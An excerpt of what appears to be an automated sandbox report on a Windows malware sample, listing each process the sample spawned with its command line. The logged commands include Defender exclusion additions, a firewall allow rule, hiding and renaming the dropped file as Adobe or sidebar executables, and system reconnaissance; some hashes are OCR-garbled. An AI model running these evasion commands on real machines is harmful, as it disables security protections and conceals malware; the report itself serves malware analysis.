4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Moved
Analysis Process: conhost.exe PID: 6732 Parent PID: 6516

General

Start time: 19:11:32

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: conhost.exe PID: 3696 Parent PID: 7072
General
Start time: 19:11:32
Start date: 14/01/2022
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

f
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Analysis Process: powershell.exe PID: 1068 Parent PID: 6516

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

19:11:32

14/01/2022
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
false

powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local
\Temp

0x7ff777fc0000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
true

true

.Net C# or VB.NET

high

Show Windows behavior

Analysis Process: cmd.exe PID: 3180 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:32

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: cmd.exe PID: 5556 Parent PID: 4356

General

Start time: 19:11:33

Start date: 14/01/2022

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline:

Imagebase:

File size:

Copyright Joe Security LLC 2022

cmd /C "netsh advfirewall firewall add rule name=\"acrotray\" dir=in action=allow program=
\"C:\Users\user\Desktop\5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7e.exe\" enab
le=yes"

0x7ff76d4d0000
273920 bytes
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MD5 hash:
Has elevated privileges:
Has administrator privileges:

Programmed in:

4E2ACF4F8A396486AB4268C94A6A245F
true
true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 5536 Parent PID: 3180

General

Start time: 19:11:33

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: conhost.exe PID: 4828 Parent PID: 5556
General
Start time: 19:11:33
Start date: 14/01/2022
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: whoami.exe PID: 2132 Parent PID: 3180
General
Start time: 19:11:33
Start date: 14/01/2022
Path: C:\Windows\System32\whoami.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Copyright Joe Security LLC 2022

false

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
true

true

C, C++ or other language

moderate
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File Activities

Show Windows behavior

Analysis Process: netsh.exe PID: 2056 Parent PID: 5556

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

19:11:33

14/01/2022
C:\Windows\System32\netsh.exe
false

netsh advfirewall firewall add rule name=\"acrotray\" dir=in action=allow program=\"C:\Us
ers\user\Desktop\5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe\" enable=yes

0x7ff6e9d70000

92672 bytes
98CC37BBF363A38834253E22C80A8F32
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: cmd.exe PID: 5792 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

19:11:34

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: conhost.exe PID: 6000 Parent PID: 5792

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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19:11:34

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language
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Analysis Process: cmd.exe PID: 4896 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

File Activities

19:11:35

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C "ipconfig //flushdns"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: whoami.exe PID: 5268 Parent PID: 5792

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

File Activities

19:11:35

14/01/2022
C:\Windows\System32\whoami.exe

false

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: cmd.exe PID: 4232 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

File Activities

19:11:35
14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /Q /C reg add "HKCU\Software\Mystic Entertainment" /f

0x7f76d4d0000
273920 bytes
4E2ACFAF8A396486AB4268CIAAGA245F
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: conhost.exe PID: 6116 Parent PID: 4896

Copyright Joe Security LLC 2022
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:35

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 720 Parent PID: 4232

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:35

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: ipconfig.exe PID: 924 Parent PID: 4896

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

19:11:36

14/01/2022
C:\Windows\System32\ipconfig.exe

false

ipconfig //flushdns

0x7ff652f30000

34304 bytes
C7FAFF418EF7AD7ABDA10ASBCFIB53EB
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: cmd.exe PID: 3952 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:
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19:11:36

14/01/2022
C:\Windows\System32\cmd.exe
false

cmd /C "wmic cpu get name"

0x7ff76d4d0000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: reg.exe PID: 1860 Parent PID: 4232

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

Registry Activities

Key Created

Key Value Created

19:11:36

14/01/2022

C:\Windows\System32\reg.exe

false

reg add "HKCU\Software\Mystic Entertainment" /f
0x7ff7f2ad0000

72704 bytes
E3DACF0B31841FA02064B4457D44B357

true

true

C, C++ or other language

Show Windows behavior

Show Windows behavior

Analysis Process: conhost.exe PID: 7120 Parent PID: 3952

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:36

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4AD7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: WMIC.exe PID: 4488 Parent PID: 3952

General

Start time:
Start date:
Path:
Wow64 process (32bit):
Commandline:
Copyright Joe Security LLC 2022

19:11:37

14/01/2022
C:\Windows\System32\wbem\WMIC.exe
false

wmic cpu get name
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

0x7ff6746d0000

521728 bytes
ECB0E603E0090B3AC3C1234C2BA43A0F
true

true

C, C++ or other language

File Activities

Show Windows behavior

Analysis Process: cmd.exe PID: 7076 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

19:11:37

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "attrib +S +H C:\Windows\acrotray.exe"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: cmd.exe PID: 2956 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

19:11:37

14/01/2022
C:\Windows\System32\cmd.exe
false

cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppDat
a\Roaming\Microsoft"

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: conhost.exe PID: 4768 Parent PID: 7076

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:
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19:11:38

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
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MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 6592 Parent PID: 2956

General

Start time: 19:11:38

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: attrib.exe PID: 5556 Parent PID: 7076

General
Start time: 19:11:39
Start date: 14/01/2022
Path: C:\Windows\System32\attrib.exe
Wow64 process (32bit): false
Commandline: attrib +S +H C:\Windows\acrotray.exe
Imagebase: 0x7ff7e1670000
File size: 21504 bytes
MDS5 hash: FDC601145CD289C6FBC96D3F805F3CD7
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
File Activities Show Windows behavior

Analysis Process: powershell.exe PID: 5616 Parent PID: 2956

General
Start time: 19:11:39
Start date: 14/01/2022
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false
Commandline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roami
ng\Microsoft
Imagebase: 0x7ff777fc0000
File size: 447488 bytes
MD5 hash: 95000560239032BC68B4C2FDFCDEF913
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
File Activities Show Windows behavior
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File Created

File Deleted

Analysis Process: cmd.exe PID: 6328 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:40

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "wmic path win32_VideoController get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F

true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 6000 Parent PID: 6328

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:40

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: WMIC.exe PID: 2328 Parent PID: 6328

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:41

14/01/2022
C:\Windows\System32\wbem\WMIC.exe
false

wmic path win32_VideoController get name
0x7ff6746d0000

521728 bytes
EC80E603E0090B3AC3C1234C2BA43A0F
true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 5624 Parent PID: 4356

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:43

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C ver

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 4960 Parent PID: 5624

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:43

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 4768 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:46

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "wmic path win32_VideoController get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F

true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 7080 Parent PID: 4768

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:
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19:11:46

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true
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Programmed in: C, C++ or other language

Analysis Process: acrotray.exe PID: 7120 Parent PID: 3352

General

Start time: 19:11:47

Start date: 14/01/2022

Path: C:\Windows\acrotray.exe
Wow64 process (32bit): false

Commandline: "C:\Windows\acrotray.exe"
Imagebase: 0x400000

File size: 1843200 bytes

MDS5 hash: 8FB77EDBAEOC40E1E19D82A406B7615A
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: WMIC.exe PID: 5092 Parent PID: 4768

General

Start time: 19:11:48

Start date: 14/01/2022

Path: C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit): false

Commandline: wmic path win32_VideoController get name
Imagebase: 0x7ff6746d0000

File size: 521728 bytes

MDS5 hash: EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: cmd.exe PID: 6732 Parent PID: 7120

General
Start time: 19:11:49
Start date: 14/01/2022
Path: C:\Windows\System32\cmd.exe
Wow64 process (32bit): false
Commandline: cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppDat
a\Local\Temp"
Imagebase: 0x7ff76d4d0000
File size: 273920 bytes
MDS5 hash: 4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Analysis Process: cmd.exe PID: 2504 Parent PID: 7120
General
Start time: 19:11:50
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Start date:
Path:
Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /Q /C move /Y C:\Windows\acrotray.exe C:\Users\user\AppData\Roaming\Microsof

t\sidebar.exe

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 1312 Parent PID: 6732

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:50

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 1864 Parent PID: 2504

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:50

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 924 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:
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19:11:50

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

Page 36 of 58



Programmed in:

C, C++ or other language

Analysis Process: powershell.exe PID: 3200 Parent PID: 6732

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:50

14/01/2022
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
false

powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local
\Temp

0x7ff777fc0000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
false

false

Net C# or VB.NET

Analysis Process: conhost.exe PID: 5624 Parent PID: 924

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:51

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 4632 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:51

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /Q /C reg add "HKCU\Software\Trion Softworks" /f
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F

false

false

C, C++ or other language

Analysis Process: whoami.exe PID: 5872 Parent PID: 924

General

Start time:
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Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

14/01/2022
C:\Windows\System32\whoami.exe

false

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 5924 Parent PID: 4632

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:51
14/01/2022
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
false

false

C, C++ or other language

Analysis Process: reg.exe PID: 6152 Parent PID: 4632

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:52

14/01/2022

C:\Windows\System32\reg.exe

false

reg add "HKCU\Software\Trion Softworks" /f
0x7ff7f2ad0000

72704 bytes
E3DACF0B31841FA02064B4457D44B357
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 5968 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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19:11:53

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C whoami

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language
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Analysis Process: conhost.exe PID: 6200 Parent PID: 5968

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:53

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 5648 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:53

14/01/2022

C:\Windows\System32\cmd.exe

false

cmd /C "attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\sidebar.exe"
0x7ff76d4d0000

273920 bytes

4E2ACF4F8A396486AB4268C94A6A245F

false

false

C, C++ or other language

Analysis Process: whoami.exe PID: 5952 Parent PID: 5968

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:53

14/01/2022
C:\Windows\System32\whoami.exe

false

whoami

0x7ff7aa4f0000

70144 bytes
AA18BE1AD24DE09417C1A7459F5C1701
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 4360 Parent PID: 7120

General

Start time:
Start date:
Path:
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19:11:53
14/01/2022
C:\Windows\System32\cmd.exe
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Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppDat
a\Roaming\Microsoft"

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 5016 Parent PID: 5648

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:54

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 3348 Parent PID: 4360

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:54

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 5116 Parent PID: 7120

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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19:11:54

14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /C "wmic cpu get name"
0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language
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Analysis Process: attrib.exe PID: 6504 Parent PID: 5648

General

Start time: 19:11:54

Start date: 14/01/2022

Path: C:\Windows\System32\attrib.exe

Wow64 process (32bit): false

Commandline: attrib +S +H C:\Users\user\AppData\Roaming\Microsoft\sidebar.exe
Imagebase: 0x7ff7e1670000

File size: 21504 bytes

MDS5 hash: FDC601145CD289C6FBC96D3F805F3CD7
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: powershell.exe PID: 2924 Parent PID: 4360

General

Start time: 19:11:54

Start date: 14/01/2022

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roami
ng\Microsoft

Imagebase: 0x7ff777fc0000

File size: 447488 bytes

MDS5 hash: 95000560239032BC68B4C2FDFCDEF913

Has elevated privileges: false

Has administrator privileges: false

Programmed in: .Net C# or VB.NET

Analysis Process: conhost.exe PID: 6088 Parent PID: 5116

General

Start time: 19:11:54

Start date: 14/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: WMIC.exe PID: 6780 Parent PID: 5116

General

Start time: 19:11:55

Start date: 14/01/2022

Path: C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit): false
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

wmic cpu get name

0x7ff6746d0000

521728 bytes
ECB0E603E0090B3AC3C1234C2BA43A0F
false

false

C, C++ or other language

Analysis Process: acrotray.exe PID: 5268 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:56

14/01/2022

C:\Windows\acrotray.exe

false

"C:\Windows\acrotray.exe"

0x400000

1843200 bytes
8FB77EDBAEOC40E1E19D82A406B7615A
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 6312 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:58

14/01/2022
C:\Windows\System32\cmd.exe
false

cmd /Q /C move /Y C:\Windows\acrotray.exe C:\Users\user\AppData\Roaming\Microsof
t\AdobeARM.exe

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: cmd.exe PID: 2328 Parent PID: 5268

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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19:11:58

14/01/2022
C:\Windows\System32\cmd.exe
false

cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppDat
a\Local\Temp"

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language
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Analysis Process: conhost.exe PID: 4484 Parent PID: 6312

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:58

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 6240 Parent PID: 2328

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

